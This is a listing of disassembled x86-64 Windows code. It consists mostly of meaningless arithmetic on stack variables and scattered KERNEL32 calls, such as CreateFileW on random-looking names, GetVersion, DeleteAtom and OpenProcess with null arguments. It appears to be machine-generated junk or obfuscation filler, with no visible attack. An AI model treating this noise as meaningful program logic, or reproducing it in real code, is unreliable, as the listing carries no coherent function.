mov rax, qword [rsp + 0x16580]
mov eax, dword [rax]
mov ecx, dword [0x140363d20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa70], eax
lea rax, [rsp + 0xaf0c]
mov qword [rsp + 0x16b60], rax
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0x6ad8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x910c], eax
mov rax, qword [0x140363e80]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16178]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x167e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x732], al
movzx eax, word [rsp + 0x1510]
mov word [rsp + 0x2e74], ax
mov rax, qword [0x140364170]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13428]
mov word [rcx], ax
lea rax, [rsp + 0x6b2]
mov qword [rsp + 0x16b68], rax
mov rax, qword [rsp + 0x16280]
mov ecx, dword [rsp + 0x7364]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x162a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a68]
mov eax, dword [rax]
mov ecx, dword [0x14035cc48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9430], eax
lea rax, [rsp + 0x752]
mov qword [rsp + 0x16b70], rax
movzx eax, word [rsp + 0x2b64]
movzx ecx, word [rsp + 0x2b28]
sar eax, cl
mov word [rsp + 0x2a80], ax
mov eax, dword [rsp + 0xb2a4]
mov rcx, qword [rsp + 0x16888]
mov qword [rsp + 0x16b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363d00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15d00]
mov rcx, qword [rsp + 0x14ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x816c], eax
mov eax, dword [rsp + 0xaf80]
mov ecx, dword [0x140363ba0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xafc0], eax
mov rax, qword [rsp + 0x16950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b50], eax
lea rax, [rsp + 0x206c]
mov qword [rsp + 0x16b80], rax
movzx eax, byte [rsp + 0x75d]
movzx ecx, byte [rsp + 0x726]
sub eax, ecx
mov byte [rsp + 0x68e], al
mov eax, dword [rsp + 0x92fc]
mov dword [rsp + 0xb374], eax
mov rax, qword [rsp + 0x144c0]
mov rcx, qword [rsp + 0x14338]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d60], eax
mov eax, dword [rsp + 0x6700]
mov dword [rsp + 0xb378], eax
lea rax, [rsp + 0x717c]
mov qword [0x140364218], rax
mov rax, qword [rsp + 0x13380]
mov rcx, qword [rsp + 0x14200]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac5c], eax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
mov rcx, qword [0x140363ee0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14668]
mov byte [rcx], al
mov r9d, 0x87b
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb04c], eax
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x2af8]
or eax, ecx
mov word [rsp + 0x1fc8], ax
movzx ecx, word [rsp + 0x2b84]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2db4], ax
movzx eax, word [rsp + 0x2d84]
movzx ecx, word [0x140362eac]
add eax, ecx
mov word [rsp + 0x16d4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.fyYWbHKPTAG_fgA7SBAuaP9N3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16b88], rax
lea rax, [rsp + 0x2e7]
mov qword [rsp + 0x16b90], rax
mov rax, qword [rsp + 0x13920]
mov ecx, dword [rsp + 0xb1b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15428]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13478]
mov ecx, dword [rsp + 0xb10c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x16368]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x761], al
movzx eax, word [rsp + 0x2d90]
movzx ecx, word [rsp + 0x1a40]
sar eax, cl
mov rcx, qword [0x140364158]
mov word [rcx], ax
mov eax, dword [0x140363f68]
mov rcx, qword [rsp + 0x14c20]
mov qword [rsp + 0x16b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb204], eax
lea rax, [rsp + 0xafa8]
mov qword [rsp + 0x16ba0], rax
mov eax, dword [rsp + 0xaf54]
mov ecx, dword [rsp + 0xabec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [0x14035cc30]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x147f8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
and eax, ecx
mov word [rsp + 0x1ff8], ax
mov rax, qword [rsp + 0x167e0]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4d7]
and eax, ecx
mov byte [rsp + 0x56b], al
lea rax, [rsp + 0x8a30]
mov qword [rsp + 0x16ba8], rax
mov eax, dword [rsp + 0x96e4]
mov ecx, dword [rsp + 0xab90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2344]
movsx ecx, word [rsp + 0x2a04]
sub eax, ecx
mov word [0x14035cccc], ax
movsx eax, byte [rsp + 0x707]
movsx ecx, byte [rsp + 0x6fe]
add eax, ecx
mov rcx, qword [rsp + 0x15538]
mov byte [rcx], al
movzx eax, byte [rsp + 0x58b]
mov byte [rsp + 0x762], al
movzx eax, word [rsp + 0x25a4]
movzx ecx, word [0x140363184]
add eax, ecx
mov word [rsp + 0x1e64], ax
mov dword [rsp + 0x20], 0x1948
mov r9d, 0x30ce
mov r8d, 0x4ec
mov edx, 0x1559
mov rcx, qword [rsp + 0x15320]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaf1c], eax
mov rax, qword [rsp + 0x15fb8]
mov eax, dword [rax]
mov dword [rsp + 0xb37c], eax
mov rax, qword [rsp + 0x165e0]
mov ecx, dword [rsp + 0xb2d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13690]
mov dword [rcx], eax
lea rax, [rsp + 0xaf68]
mov qword [rsp + 0x16bb0], rax
mov eax, dword [rsp + 0xb0d0]
mov ecx, dword [rsp + 0xb03c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1b8], eax
mov rax, qword [rsp + 0x133f8]
mov ecx, dword [rsp + 0xb2a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9700], eax
mov rax, qword [rsp + 0x16a90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19d8]
shl eax, cl
mov word [rsp + 0x2894], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb350], eax
lea rax, [rsp + 0x95]
mov qword [0x140364220], rax
mov rax, qword [rsp + 0x148a8]
mov rcx, qword [rsp + 0x13a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xada0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.FCadhujLD543A7VSK6m4IjnlLd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16bb8], rax
mov eax, dword [rsp + 0xafec]
mov dword [rsp + 0xb380], eax
mov rax, qword [rsp + 0x15d30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x910c]
sar eax, cl
mov rcx, qword [rsp + 0x158e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x168a8]
mov ecx, dword [rsp + 0xa030]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xace0], eax
lea rax, [rsp + 0x2d10]
mov qword [rsp + 0x16bc0], rax
movzx eax, byte [rsp + 0x4c7]
mov rcx, qword [rsp + 0x16b70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
mov rax, qword [rsp + 0x14a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
or eax, ecx
mov word [rsp + 0x2604], ax
mov rax, qword [0x140363a90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d8]
add eax, ecx
mov byte [rsp + 0x634], al
movzx ecx, word [rsp + 0x2d60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29d4], ax
mov eax, dword [rsp + 0xb1dc]
mov ecx, dword [rsp + 0xaa54]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140364008]
mov dword [rcx], eax
mov rax, qword [0x140363e80]
mov ecx, dword [rsp + 0xaefc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb344], eax
lea rax, [rsp + 0x1308]
mov qword [rsp + 0x16bc8], rax
mov rax, qword [rsp + 0x166e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5fb]
sub eax, ecx
mov rcx, qword [rsp + 0x16a70]
mov byte [rcx], al
mov rax, qword [0x140364218]
mov eax, dword [rax]
mov dword [rsp + 0xb384], eax
mov rax, qword [rsp + 0x154e0]
mov ecx, dword [rsp + 0xaaf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9694], eax
mov rax, qword [rsp + 0x15e18]
mov eax, dword [rax]
mov dword [rsp + 0xb388], eax
mov eax, dword [rsp + 0x8bb8]
mov ecx, dword [rsp + 0x8508]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9688], eax
mov rax, qword [rsp + 0x14398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15128]
mov byte [rcx], al
movzx eax, word [rsp + 0x25e0]
mov word [0x1403632f4], ax
mov r9d, 2
lea r8, [rsp + 0x144b8]
mov rdx, qword [rsp + 0x16bd0]
mov rcx, qword [rsp + 0x16538]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa00], eax
lea rax, [rsp + 0xae38]
mov qword [rsp + 0x16bd8], rax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov ecx, dword [0x14035ccb0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa998], eax
lea rax, [rsp + 0x9ef4]
mov qword [rsp + 0x16be0], rax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa3f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x161d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140363fd0]
shl eax, cl
mov rcx, qword [rsp + 0x13a60]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x74a]
movsx ecx, byte [rsp + 0x6b6]
sar eax, cl
mov byte [rsp + 0x232], al
movsx eax, word [rsp + 0x11cc]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13618]
mov word [rcx], ax
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
mov word [rsp + 0x2e78], ax
mov rax, qword [rsp + 0x149a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cf]
and eax, ecx
mov byte [0x14035e4f4], al
mov rax, qword [rsp + 0x14cb0]
mov ecx, dword [rsp + 0xb0dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14be8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf2c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac04], eax
mov rax, qword [rsp + 0x14ea8]
mov ecx, dword [rsp + 0xaeac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13cf0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x2a84]
mov qword [rsp + 0x16be8], rax
mov rax, qword [0x140363980]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15e10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14570]
mov byte [rcx], al
lea rcx, [0x14033f540]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2dc8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.q5ZWp9Qi17yLLk8GpaAaP3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16bf0], rax
lea rax, [rsp + 0xa3f4]
mov qword [rsp + 0x16bf8], rax
mov rax, qword [rsp + 0x153e8]
mov rcx, qword [rsp + 0x160f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x167e8]
mov eax, dword [rax]
mov ecx, dword [0x140363b40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15bc0]
mov dword [rcx], eax
lea rax, [rsp + 0x7318]
mov qword [rsp + 0x16c00], rax
mov rax, qword [rsp + 0x15988]
movzx eax, word [rax]
mov rcx, qword [0x140363a30]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cbec], ax
mov rax, qword [rsp + 0x15b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov byte [rsp + 0x71d], al
lea rax, [rsp + 0x6700]
mov qword [rsp + 0x16c08], rax
mov eax, dword [rsp + 0x89bc]
mov ecx, dword [rsp + 0xab3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14838]
mov dword [rcx], eax
lea rax, [rsp + 0x232]
mov qword [rsp + 0x16c10], rax
mov rax, qword [rsp + 0x15e90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x22dc]
sub eax, ecx
mov word [rsp + 0x2d80], ax
mov rax, qword [rsp + 0x13948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22c8]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
lea rax, [rsp + 0x2a6]
mov qword [rsp + 0x16c18], rax
mov eax, dword [rsp + 0xb234]
mov ecx, dword [rsp + 0xb304]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16c08]
mov dword [rcx], eax
mov eax, dword [0x140363b84]
mov rcx, qword [rsp + 0x136e0]
mov qword [rsp + 0x16c20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c20]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14035ccd0], eax
lea rax, [rsp + 0xaed4]
mov qword [rsp + 0x16c28], rax
mov eax, dword [rsp + 0xb1ec]
mov rcx, qword [rsp + 0x12f90]
mov qword [rsp + 0x16c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x98cc], eax
mov rax, qword [rsp + 0x15d30]
mov eax, dword [rax]
mov ecx, dword [0x1403641d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2d98]
movzx ecx, word [rsp + 0x2ca8]
and eax, ecx
mov word [rsp + 0x1290], ax
movzx eax, byte [rsp + 0x65c]
mov rcx, qword [rsp + 0x16c18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov byte [rcx], al
lea rax, [rsp + 0x80c8]
mov qword [rsp + 0x16c38], rax
mov r9d, 2
lea r8, [rsp + 0x13a08]
mov rdx, qword [rsp + 0x157c0]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa968], eax
mov rax, qword [rsp + 0x13b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb14c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c30]
mov ecx, dword [rsp + 0xa8dc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaf34], eax
mov rax, qword [rsp + 0x15010]
mov rcx, qword [rsp + 0x16810]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140364080]
mov dword [rcx], eax
lea rax, [rsp + 0x2b2c]
mov qword [rsp + 0x16c40], rax
mov rax, qword [rsp + 0x13558]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4a4]
and eax, ecx
mov rcx, qword [rsp + 0x15ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0x142e8]
movzx eax, word [rax]
mov word [rsp + 0x2e7c], ax
mov rax, qword [rsp + 0x14e70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2ad], al
mov eax, dword [rsp + 0xa0d0]
mov ecx, dword [rsp + 0x6b44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaec], eax
lea rax, [rsp + 0x999c]
mov qword [rsp + 0x16c48], rax
movzx eax, byte [rsp + 0x74c]
mov rcx, qword [rsp + 0x16840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x202], al
mov rax, qword [0x140363af0]
movzx eax, word [rax]
mov word [rsp + 0x2e80], ax
mov rax, qword [rsp + 0x168a8]
mov eax, dword [rax]
mov dword [0x140364228], eax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0xb08c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x84a0], eax
lea rax, [rsp + 0xa9f8]
mov qword [rsp + 0x16c50], rax
mov rax, qword [rsp + 0x133d8]
mov eax, dword [rax]
mov rcx, qword [0x140363ff0]
mov qword [rsp + 0x16c58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x16b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15098]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16700]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6eb], al
lea rax, [rsp + 0x189c]
mov qword [rsp + 0x16c60], rax
mov rax, qword [rsp + 0x13ce0]
mov rcx, qword [rsp + 0x15d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15970]
mov dword [rcx], eax
lea rax, [rsp + 0x71c8]
mov qword [rsp + 0x16c68], rax
mov rax, qword [rsp + 0x13898]
mov rcx, qword [rsp + 0x16100]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x66cc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16c70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rax, [rsp + 0x9764]
mov qword [0x140364230], rax
mov rax, qword [rsp + 0x13bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb07c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d14], eax
movsx eax, byte [rsp + 0x734]
mov rcx, qword [0x140363c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5b6], al
mov rax, qword [rsp + 0x14880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb8]
and eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
lea rax, [rsp + 0x341]
mov qword [rsp + 0x16c78], rax
mov rax, qword [rsp + 0x16ac0]
movzx eax, word [rax]
movzx ecx, word [0x14036301c]
sub eax, ecx
mov rcx, qword [rsp + 0x14d98]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb144], eax
mov rax, qword [rsp + 0x16870]
mov rcx, qword [rsp + 0x14be8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x72dc], eax
mov eax, dword [rsp + 0x9784]
mov dword [rsp + 0xb38c], eax
movzx eax, byte [rsp + 0x743]
movzx ecx, byte [rsp + 0x592]
add eax, ecx
mov byte [rsp + 0x512], al
movzx eax, word [rsp + 0x2554]
mov rcx, qword [rsp + 0x16458]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc90], ax
lea rdx, [rsp + 0x16c80]
mov rcx, qword [rsp + 0x13b50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb238], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaee0], eax
lea rax, [rsp + 0x92f0]
mov qword [rsp + 0x16c88], rax
mov eax, dword [rsp + 0x9d88]
mov ecx, dword [rsp + 0x8508]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8748], eax
mov eax, dword [0x14035cca0]
mov rcx, qword [rsp + 0x14670]
mov qword [rsp + 0x16c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xace8], eax
mov r9d, 2
lea r8, [rsp + 0x167c0]
mov rdx, qword [rsp + 0x15728]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xab60], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.5hI_vzFaNQzyNzNgU6f8HSBQ9uH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16c98], rax
movzx eax, word [rsp + 0x2d38]
mov rcx, qword [rsp + 0x146e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x142c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6fa]
mov byte [rsp + 0x763], al
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ca0]
shl eax, cl
mov dword [rsp + 0xae0c], eax
mov rax, qword [rsp + 0x13188]
mov ecx, dword [rsp + 0x852c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x628c], eax
movsx eax, word [rsp + 0x1fe4]
movsx ecx, word [rsp + 0x16b0]
and eax, ecx
mov rcx, qword [0x140363ca0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x717]
movsx ecx, byte [rsp + 0x4c5]
sub eax, ecx
mov rcx, qword [rsp + 0x15a48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x749]
mov rcx, qword [rsp + 0x15718]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13530]
mov byte [rcx], al
movzx eax, word [rsp + 0x124c]
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0x15ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb364]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a10]
mov dword [rcx], eax
lea rax, [rsp + 0x7438]
mov qword [rsp + 0x16ca0], rax
lea rdx, [rsp + 0x150f0]
mov rcx, qword [rsp + 0x16760]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb1d0], eax
mov rax, qword [rsp + 0x14ee0]
mov ecx, dword [0x140363c94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xabb4], eax
mov rax, qword [rsp + 0x149f0]
mov rcx, qword [rsp + 0x15330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13610]
mov dword [rcx], eax
lea rax, [rsp + 0x75a0]
mov qword [rsp + 0x16ca8], rax
movzx eax, word [rsp + 0x1b0c]
mov rcx, qword [0x140363a30]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ba0], ax
movzx eax, byte [rsp + 0x732]
mov byte [0x14035e586], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [rsp + 0xad3c]
mov dword [rsp + 0xb390], eax
mov rax, qword [rsp + 0x15950]
mov ecx, dword [rsp + 0xadb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16418]
mov ecx, dword [rsp + 0xa3f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7124], eax
mov rax, qword [rsp + 0x14958]
mov ecx, dword [rsp + 0xac80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x77e4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.CN3f6RQ4Jx4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16cb0], rax
movzx eax, byte [rsp + 0x6cd]
movzx ecx, byte [0x140353597]
xor eax, ecx
mov byte [rsp + 0x5c7], al
lea rax, [rsp + 0x18e4]
mov qword [rsp + 0x16cb8], rax
movsx eax, word [rsp + 0xfe4]
movsx ecx, word [rsp + 0x2ae8]
sar eax, cl
mov word [rsp + 0x2b5c], ax
lea rax, [0x1403535db]
mov qword [rsp + 0x16cc0], rax
mov rax, qword [rsp + 0x14fe0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14ea8]
mov qword [rsp + 0x16cc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16cc8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14035ccd4], eax
mov eax, dword [rsp + 0xabbc]
mov ecx, dword [rsp + 0xa9b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x158c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d70]
and eax, ecx
mov word [rsp + 0x2c18], ax
movzx eax, byte [rsp + 0x23b]
mov byte [rsp + 0x764], al
mov rax, qword [rsp + 0x165d8]
mov ecx, dword [rsp + 0x7de4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa70], eax
lea rax, [0x140363ae8]
mov qword [rsp + 0x16cd0], rax
mov rax, qword [rsp + 0x16400]
mov rcx, qword [rsp + 0x14a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ff0], eax
mov eax, dword [rsp + 0x6bd8]
mov ecx, dword [rsp + 0xac78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x725]
movzx ecx, byte [rsp + 0x6df]
add eax, ecx
mov byte [rsp + 0x657], al
movzx eax, word [rsp + 0x14dc]
movzx ecx, word [rsp + 0x1e64]
sub eax, ecx
mov rcx, qword [0x140363a58]
mov word [rcx], ax
mov rax, qword [0x140363c18]
mov ecx, dword [rsp + 0x9e6c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xafe4], eax
movzx ecx, word [rsp + 0x2c40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c0c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.6eK6APO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16cd8], rax
mov rax, qword [rsp + 0x14d30]
mov eax, dword [rax]
mov dword [rsp + 0xb394], eax
movzx ecx, word [rsp + 0x2e44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e50], ax
mov rax, qword [rsp + 0x15568]
mov ecx, dword [rsp + 0x9f84]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb094], eax
mov rax, qword [rsp + 0x15f88]
mov eax, dword [rax]
